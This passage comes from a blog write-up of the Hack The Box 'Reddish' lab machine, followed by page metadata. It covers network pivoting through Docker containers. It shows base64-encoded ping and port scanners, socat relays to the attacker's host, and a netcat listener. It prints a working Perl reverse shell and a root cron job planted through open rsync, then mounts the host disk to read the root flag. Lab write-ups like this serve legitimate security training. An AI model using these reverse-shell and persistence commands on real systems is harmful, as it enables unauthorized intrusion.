\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish]\n\u2514\u2500$ base64 -w0 pingScan.sh \nIyEgL3Vzci9iaW4vZW52IGJhc2gKIwojIEF1dGhvcjogQmVydCBWYW4gVnJlY2tlbSA8YmVydC52YW52cmVja2VtQGdtYWlsLmNvbT4KIwojIFBlcmZvcm0gYSBwaW5nIHN3ZWVwIG9uIHRoZSBzcGVjaWZpZWQgY2xhc3MgQyBuZXR3b3JrCgpzZXQgLW8gZXJyZXhpdCAjIGFib3J0IG9uIG5vbnplcm8gZXhpdHN0YXR1cwpzZXQgLW8gbm91bnNldCAjIGFib3J0IG9uIHVuYm91bmQgdmFyaWFibGUKCiN7e3sgRnVuY3Rpb25zCgp1c2FnZSgpIHsKY2F0IDw8IF9FT0ZfClVzYWdlOiAkezB9IE5FVFdPUksKCiAgTkVUV09SSyAgdGhlIG5ldHdvcmsgcGFydCBvZiBhIGNsYXNzIEMgSVAgYWRkcmVzcywgZS5nLiAxOTIuMTY4LjEKCl9FT0ZfCn0KCiMgVXNhZ2U6IGhvc3RfaXNfdXAgSVAKIyB3aXRoIElQIGEgKGZ1bGwpIElQIGFkZHJlc3MuIFJldHVybnMgZXhpdCBzdGF0dXMgMCBpZiB0aGUgc3BlY2lmaWVkIGhvc3QKIyByZXBsaWVzIHRvIHRoZSB0d2VldCwgYSBub256ZXJvIGV4aXQgc3RhdHVzIG90aGVyd2lzZS4KaG9zdF9pc191cCgpIHsKICAjIFNlbmQgb25lIHBpbmcgKC1jKSBhbmQgd2FpdCBhdCBtb3N0IDEgc2Vjb25kICgtdykKICBwaW5nIC1jIDEgLXcgMSAiJHtpcH0iID4gL2Rldi9udWxsIDI+JjEKfQoKI319fQoje3t7IENvbW1hbmQgbGluZSBwYXJzaW5nCgppZiBbICIkIyIgLW5lICIxIiBdOyB0aGVuCiAgICBlY2hvICJFeHBlY3RlZCAxIGFyZ3VtZW50LCBnb3QgJCMiID4mMgogICAgdXNhZ2UKICAgIGV4aXQgMgpmaQoKI319fQoje3t7IFZhcmlhYmxlcwoKbmV0d29yaz0iJHsxfSIKCiN9fX0KCiMgU2NyaXB0IHByb3BlcgoKZm9yIGhvc3QgaW4gJChzZXEgMSAyNTQpOyBkbwoKICBpcD0iJHtuZXR3b3JrfS4ke2hvc3R9IgoKICBpZiBob3N0X2lzX3VwICIke2lwfSI7IHRoZW4KICAgIGVjaG8gIiR7aXB9IgogIGZpCgpkb25lCg== \n\n\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish]\n\u2514\u2500$ base64 -w0 portScan.sh \nIyEvYmluL2Jhc2gKI1ZhcmlhYmxlcwplbXB0eT0iIgojQXJndW1lbnRzIGZvciB0aGUgc2NyaXB0CndoaWxlIFsgIiQxIiAhPSAiIiBdOyBkbwoJY2FzZSAiJDEiIGluCgkJLWkgfCAtLWlwICkJCWlwPSIkMiI7CXNoaWZ0OzsKCQktcCB8IC0tcG9ydHMgKQkJcG9ydHM9IiQyIjsJc2hpZnQ7OwoJZXNhYwoJc2hpZnQKZG9uZQojQ2hlY2tpbmcgaWYgdGhlIC1pIGlzIGVtcHR5CmlmIFtbICRpcCA9PSAkZW1wdHkgXV07IHRoZW4KCWVjaG8gIlBsZWFzZSBzcGVjaWZ5IGFuIElQIGFkZHJlc3Mgd2l0aCAtaSIKCWV4aXQKZmkKI2NoZWNraW5nIGlzIC1wIGlzIGVtcHR5CmlmIFtbICRwb3J0cyA9PSAkZW1wdHkgXV07IHRoZW4KCWVjaG8gIlBsZWFzZSBzcGVjaWZ5IHRoZSBtYXggcG9ydCByYW5nZSAtcCIKCWV4aXQKZmkKI1NjYW5zIHBvcnRzL0R1bXBzIGNsb3NlZCBwb3J0cy9kaXNwbGF5cyBvcGVuIHBvcnRzCmZvciBpIGluICQoc2VxIDEgJHBvcnRzKTsgZG8KCSggZWNobyA+IC9kZXYvdGNwLyRpcC8kaSkgPiAvZGV2L251bGwgMj4mMSAmJiBlY2hvICRpcCI6IiRpICJpcyBvcGVuIjsKZG9uZQo=\n\n# echo \"IyEgL3Vzci9iaW4vZW52IGJhc2gKIwojIEF1dGhvcjogQmVydCBWYW4gVnJlY2tlbSA8YmVydC52YW52cmVja2VtQGdtYWlsLmNvbT4KIwojIFBlcmZvcm0gYSBwaW5nIHN3ZWVwIG9uIHRoZSBzcGVjaWZpZWQgY2xhc3MgQyBuZXR3b3JrCgpzZXQgLW8gZXJyZXhpdCAjIGFib3J0IG9uIG5vbnplcm8gZXhpdHN0YXR1cwpzZXQgLW8gbm91bnNldCAjIGFib3J0IG9uIHVuYm91bmQgdmFyaWFibGUKCiN7e3sgRnVuY3Rpb25zCgp1c2FnZSgpIHsKY2F0IDw8IF9FT0ZfClVzYWdlOiAkezB9IE5FVFdPUksKCiAgTkVUV09SSyAgdGhlIG5ldHdvcmsgcGFydCBvZiBhIGNsYXNzIEMgSVAgYWRkcmVzcywgZS5nLiAxOTIuMTY4LjEKCl9FT0ZfCn0KCiMgVXNhZ2U6IGhvc3RfaXNfdXAgSVAKIyB3aXRoIElQIGEgKGZ1bGwpIElQIGFkZHJlc3MuIFJldHVybnMgZXhpdCBzdGF0dXMgMCBpZiB0aGUgc3BlY2lmaWVkIGhvc3QKIyByZXBsaWVzIHRvIHRoZSB0d2VldCwgYSBub256ZXJvIGV4aXQgc3RhdHVzIG90aGVyd2lzZS4KaG9zdF9pc191cCgpIHsKICAjIFNlbmQgb25lIHBpbmcgKC1jKSBhbmQgd2FpdCBhdCBtb3N0IDEgc2Vjb25kICgtdykKICBwaW5nIC1jIDEgLXcgMSAiJHtpcH0iID4gL2Rldi9udWxsIDI+JjEKfQoKI319fQoje3t7IENvbW1hbmQgbGluZSBwYXJzaW5nCgppZiBbICIkIyIgLW5lICIxIiBdOyB0aGVuCiAgICBlY2hvICJFeHBlY3RlZCAxIGFyZ3VtZW50LCBnb3QgJCMiID4mMgogICAgdXNhZ2UKICAgIGV4aXQgMgpmaQoKI319fQoje3t7IFZhcmlhYmxlcwoKbmV0d29yaz0iJHsxfSIKCiN9fX0KCiMgU2NyaXB0IHByb3BlcgoKZm9yIGhvc3QgaW4gJChzZXEgMSAyNTQpOyBkbwoKICBpcD0iJHtuZXR3b3JrfS4ke2hvc3R9IgoKICBpZiBob3N0X2lzX3VwICIke2lwfSI7IHRoZW4KICAgIGVjaG8gIiR7aXB9IgogIGZpCgpkb25lCg==\" > pingScan.b64\n\n# echo \"IyEvYmluL2Jhc2gKI1ZhcmlhYmxlcwplbXB0eT0iIgojQXJndW1lbnRzIGZvciB0aGUgc2NyaXB0CndoaWxlIFsgIiQxIiAhPSAiIiBdOyBkbwoJY2FzZSAiJDEiIGluCgkJLWkgfCAtLWlwICkJCWlwPSIkMiI7CXNoaWZ0OzsKCQktcCB8IC0tcG9ydHMgKQkJcG9ydHM9IiQyIjsJc2hpZnQ7OwoJZXNhYwoJc2hpZnQKZG9uZQojQ2hlY2tpbmcgaWYgdGhlIC1pIGlzIGVtcHR5CmlmIFtbICRpcCA9PSAkZW1wdHkgXV07IHRoZW4KCWVjaG8gIlBsZWFzZSBzcGVjaWZ5IGFuIElQIGFkZHJlc3Mgd2l0aCAtaSIKCWV4aXQKZmkKI2NoZWNraW5nIGlzIC1wIGlzIGVtcHR5CmlmIFtbICRwb3J0cyA9PSAkZW1wdHkgXV07IHRoZW4KCWVjaG8gIlBsZWFzZSBzcGVjaWZ5IHRoZSBtYXggcG9ydCByYW5nZSAtcCIKCWV4aXQKZmkKI1NjYW5zIHBvcnRzL0R1bXBzIGNsb3NlZCBwb3J0cy9kaXNwbGF5cyBvcGVuIHBvcnRzCmZvciBpIGluICQoc2VxIDEgJHBvcnRzKTsgZG8KCSggZWNobyA+IC9kZXYvdGNwLyRpcC8kaSkgPiAvZGV2L251bGwgMj4mMSAmJiBlY2hvICRpcCI6IiRpICJpcyBvcGVuIjsKZG9uZQo=\" > portScan.b64\n\n# base64 -d pingScan.b64 > pingScan.sh\n\n# base64 -d portScan.b64 > portScan.sh<\/code><\/pre>\n\n\n\nNow we can execute both of them:<\/p>\n\n\n\n
\n- Ping Scan:<\/li>\n<\/ul>\n\n\n\n
# .\/pingScan.sh 172.20.0\n172.20.0.1\n172.20.0.2\n172.20.0.3<\/code><\/pre>\n\n\n\n\n- Port Scan:<\/li>\n<\/ul>\n\n\n\n
# .\/portScan.sh -i 172.20.0.2 -p 10000\n172.20.0.2:873 is open<\/code><\/pre>\n\n\n\nLooks like we have found the server that save the backups with the script we have found too. Let\u2019s check if we can access to the server with rsync now that we are root:<\/p>\n\n\n\n
# rsync rsync:\/\/backup:873 \nsrc src path\n# rsync rsync:\/\/backup:873\/src\ndrwxr-xr-x 4,096 2018\/07\/15 17:42:39 .\n-rwxr-xr-x 0 2018\/05\/04 21:01:30 .dockerenv\n-rwxr-xr-x 100 2018\/05\/04 19:55:07 docker-entrypoint.sh\ndrwxr-xr-x 4,096 2018\/07\/15 17:42:41 backup\ndrwxr-xr-x 4,096 2018\/07\/15 17:42:39 bin\ndrwxr-xr-x 4,096 2018\/07\/15 17:42:38 boot\ndrwxr-xr-x 4,096 2018\/07\/15 17:42:39 data\ndrwxr-xr-x 3,640 2023\/10\/18 19:45:50 dev\ndrwxr-xr-x 4,096 2023\/10\/18 23:51:31 etc\ndrwxr-xr-x 4,096 2018\/07\/15 17:42:38 home\ndrwxr-xr-x 4,096 2018\/07\/15 17:42:39 lib\ndrwxr-xr-x 4,096 2018\/07\/15 17:42:38 lib64\ndrwxr-xr-x 4,096 2018\/07\/15 17:42:38 media\ndrwxr-xr-x 4,096 2023\/10\/18 23:54:57 mnt\ndrwxr-xr-x 4,096 2018\/07\/15 17:42:38 opt\ndr-xr-xr-x 0 2023\/10\/18 19:45:50 proc\ndrwxr-xr-x 4,096 2023\/10\/18 22:28:01 rdb\ndrwx------ 4,096 2023\/10\/19 11:25:42 root\ndrwxr-xr-x 4,096 2023\/10\/18 23:55:10 run\ndrwxr-xr-x 4,096 2018\/07\/15 17:42:38 sbin\ndrwxr-xr-x 4,096 2018\/07\/15 17:42:38 srv\ndr-xr-xr-x 0 2023\/10\/19 15:30:41 sys\ndrwxrwxrwt 4,096 2023\/10\/19 16:32:01 tmp\ndrwxr-xr-x 4,096 2018\/07\/15 17:42:39 usr\ndrwxr-xr-x 4,096 2018\/07\/15 17:42:39 var<\/code><\/pre>\n\n\n\nWe can see that we have complete access to the system file. Let\u2019s try to get some reverse shell through a cron task but first we will need to have socat in the machine \u201c172.20.0.3\u201d to redirect the reverse shell to nodered and from there to our kali linux. to do that we will use the tool \u201cxclip\u201d to copy the base64 output:<\/p>\n\n\n\n
\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish]\n\u2514\u2500$ base64 -w0 socat | xclip -sel clip\n\n# echo pastebase64code | base64 -d > socat<\/code><\/pre>\n\n\n\nNow we have socat:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2036.png?w=800&ssl=1\")
<\/figure>\n\n\n\nSo we can start to execute the redirections with socat (172.19.0.3\/172.20.0.2):<\/p>\n\n\n\n
# .\/socat TCP-LISTEN:7000,fork TCP:172.19.0.4:6002 &<\/code><\/pre>\n\n\n\nNow we will create in nodered the redirection to reach our Kali Linux:<\/p>\n\n\n\n
# .\/socat TCP-LISTEN:6002,fork TCP:10.10.16.15:5004 &<\/code><\/pre>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2037.png?w=800&ssl=1\")
<\/figure>\n\n\n\nFinally, we need to create our listener server to receive the reverse shell:<\/p>\n\n\n\n
\u250c\u2500\u2500(david\u327fhsbox)-[~\/hackTheBox\/reddish]\n\u2514\u2500$ sudo nc -nlvp 5004 \n[sudo] password for david: \nlistening on [any] 5004 ...<\/code><\/pre>\n\n\n\nOnce we have our redirections already established we can try to transfer the malicious cron job with our reverse shell:<\/p>\n\n\n\n
\n- Create our reverse shell file \u201cshell.sh\u201d whit this content:<\/li>\n<\/ul>\n\n\n\n
perl -e 'use Socket;$i=\"172.20.0.3\";$p=7000;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"\/bin\/sh -i\");};'<\/code><\/pre>\n\n\n\n\n- Transfer the file to the \u201c172.20.0.3\u201d server:<\/li>\n<\/ul>\n\n\n\n
# echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjIwLjAuMyI7JHA9NzAwMDtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg== | base64 -d > shell.sh<\/code><\/pre>\n\n\n\n\n- Transfer the shell file to the backup server from the (172.20.0.3) web server:<\/li>\n<\/ul>\n\n\n\n
# rsync -a shell.sh rsync:\/\/backup:873\/src\/tmp\/\n# rsync rsync:\/\/backup:873\/src\/tmp\/\ndrwxrwxrwt 4,096 2023\/10\/19 17:11:09 .\n-rw-r--r-- 220 2023\/10\/18 23:52:15 reverse.sh\n-rw-r--r-- 220 2023\/10\/19 17:09:39 shell.sh<\/code><\/pre>\n\n\n\n\n- Create the cron job into the web server (172.20.0.3):<\/li>\n<\/ul>\n\n\n\n
# echo '* * * * * root sh \/tmp\/shell.sh' > shell<\/code><\/pre>\n\n\n\n\n- Transfer the cron job to the backup server:<\/li>\n<\/ul>\n\n\n\n
# rsync -a shell rsync:\/\/backup:873\/src\/etc\/cron.d\/<\/code><\/pre>\n\n\n\nOnce the cron job is executed we will receive our reverse shell:<\/p>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2038.png?w=800&ssl=1\")
<\/figure>\n\n\n\nOnce we have access to the container to reach the root flag we need mount one partition because we have completely access to the file system because the container is running with \u201c\u2014privileged\u201d that provide us access tot the raw devices in \/dev on the host. We can have more information here<\/a>.<\/p>\n\n\n\nNow we need to mount one partition to have access to the root flag:<\/p>\n\n\n\n
# mount \/dev\/sda2 \/mnt\n# ls \/mnt\/root\/\nroot.txt\n# cat \/mnt\/root\/root.txt \n77cac369952e28c6b474a37ec17da8b1<\/code><\/pre>\n\n\n\n![\"Untitled\"\/](\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/reddish-2039.png?w=800&ssl=1\")
<\/figure>\n\n\n\n
After one week struggling with an insane machine from \u2694\ufe0f hashtag#HackTheBox<\/a> \ud83d\udc7d I got it!!! hashtag#Reddish<\/a> has been a challenge to me because it was my first insane machine \ud83d\udca5.
I did this retired machine \ud83d\udda5\ufe0f because I was looking for improving my pivoting \ud83e\udd98skills and use the OSCP style \u2620\ufe0f to do it. It’s why I did this machine \u2b50.
\ud83d\udef8 \u00a1\u00a1\u00a1Happy Hacking!!! \ud83d\udef8<\/p>\n","protected":false},"excerpt":{"rendered":"Diving deep into the realms of \u2694\ufe0f HackTheBox \ud83d\udc7d, I took on one of its most challenging monsters: Reddish! After a week of intense battles, deciphering and decoding, I can …<\/p>\n","protected":false},"author":1,"featured_media":3563,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"Cracked the challenging #Reddish CTF from#HackTheBox! \ud83d\ude80 Dive into my latest blog post to uncover how I tackled Docker pivoting, web exploitation, and mastered the OSCP style. Ready for an epic walkthrough? \ud83d\udef8\u2728 Dive in now!","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[3,7],"tags":[462,362,477,383,353,478,358,473,476,479],"class_list":["post-3562","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-guias","category-seguridad-informatica","tag-capturetheflag-2","tag-cybersecurity","tag-dockersecurity","tag-ethicalhacking","tag-hackthebox","tag-oscp","tag-penetrationtesting","tag-pivoting","tag-reddish","tag-webexploitation"],"yoast_head":"\n
Hack The Box | Reddish | Write Up - Hardsoft Security<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hack The Box | Reddish | Write Up - Hardsoft Security\" \/>\n<meta property=\"og:description\" content=\"Diving deep into the realms of \u2694\ufe0f HackTheBox \ud83d\udc7d, I took on one of its most challenging monsters: Reddish! After a week of intense battles, deciphering and decoding, I can ...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/\" \/>\n<meta property=\"og:site_name\" content=\"Hardsoft Security\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/HardSoftDavid\" \/>\n<meta property=\"article:published_time\" content=\"2023-11-01T07:31:00+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-11.png\" \/>\n\t<meta property=\"og:image:width\" content=\"697\" \/>\n\t<meta property=\"og:image:height\" content=\"600\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:site\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"17 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/01\\\/hack-the-box-reddish-write-up\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/01\\\/hack-the-box-reddish-write-up\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"headline\":\"Hack The Box | Reddish | Write Up\",\"datePublished\":\"2023-11-01T07:31:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/01\\\/hack-the-box-reddish-write-up\\\/\"},\"wordCount\":1890,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/01\\\/hack-the-box-reddish-write-up\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/image-11.png?fit=697%2C600&ssl=1\",\"keywords\":[\"CaptureTheFlag\",\"Cybersecurity\",\"DockerSecurity\",\"EthicalHacking\",\"hackthebox\",\"OSCP\",\"PenetrationTesting\",\"Pivoting\",\"Reddish\",\"WebExploitation\"],\"articleSection\":[\"Gu\u00edas\",\"Seguridad inform\u00e1tica\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/01\\\/hack-the-box-reddish-write-up\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/01\\\/hack-the-box-reddish-write-up\\\/\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/01\\\/hack-the-box-reddish-write-up\\\/\",\"name\":\"Hack The Box | Reddish | Write Up - Hardsoft Security\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/01\\\/hack-the-box-reddish-write-up\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/01\\\/hack-the-box-reddish-write-up\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/image-11.png?fit=697%2C600&ssl=1\",\"datePublished\":\"2023-11-01T07:31:00+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/01\\\/hack-the-box-reddish-write-up\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/01\\\/hack-the-box-reddish-write-up\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/01\\\/hack-the-box-reddish-write-up\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/image-11.png?fit=697%2C600&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/image-11.png?fit=697%2C600&ssl=1\",\"width\":697,\"height\":600},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/11\\\/01\\\/hack-the-box-reddish-write-up\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Hack The Box | Reddish | Write Up\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\",\"name\":\"Hardsoft Security\",\"description\":\"Chasing (In)Security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hardsoftsecurity.es\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\",\"name\":\"david\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"caption\":\"david\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Hack The Box | Reddish | Write Up - Hardsoft Security","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/","og_locale":"es_ES","og_type":"article","og_title":"Hack The Box | Reddish | Write Up - Hardsoft Security","og_description":"Diving deep into the realms of \u2694\ufe0f HackTheBox \ud83d\udc7d, I took on one of its most challenging monsters: Reddish! After a week of intense battles, deciphering and decoding, I can ...","og_url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/","og_site_name":"Hardsoft Security","article_publisher":"https:\/\/www.facebook.com\/HardSoftDavid","article_published_time":"2023-11-01T07:31:00+00:00","og_image":[{"width":697,"height":600,"url":"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-11.png","type":"image\/png"}],"author":"david","twitter_card":"summary_large_image","twitter_creator":"@DavidDeMaya","twitter_site":"@DavidDeMaya","twitter_misc":{"Escrito por":"david","Tiempo de lectura":"17 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/#article","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/"},"author":{"name":"david","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"headline":"Hack The Box | Reddish | Write Up","datePublished":"2023-11-01T07:31:00+00:00","mainEntityOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/"},"wordCount":1890,"commentCount":0,"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-11.png?fit=697%2C600&ssl=1","keywords":["CaptureTheFlag","Cybersecurity","DockerSecurity","EthicalHacking","hackthebox","OSCP","PenetrationTesting","Pivoting","Reddish","WebExploitation"],"articleSection":["Gu\u00edas","Seguridad inform\u00e1tica"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/","url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/","name":"Hack The Box | Reddish | Write Up - Hardsoft Security","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/#primaryimage"},"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-11.png?fit=697%2C600&ssl=1","datePublished":"2023-11-01T07:31:00+00:00","author":{"@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"breadcrumb":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/#primaryimage","url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-11.png?fit=697%2C600&ssl=1","contentUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-11.png?fit=697%2C600&ssl=1","width":697,"height":600},{"@type":"BreadcrumbList","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/01\/hack-the-box-reddish-write-up\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/hardsoftsecurity.es\/"},{"@type":"ListItem","position":2,"name":"Hack The Box | Reddish | Write 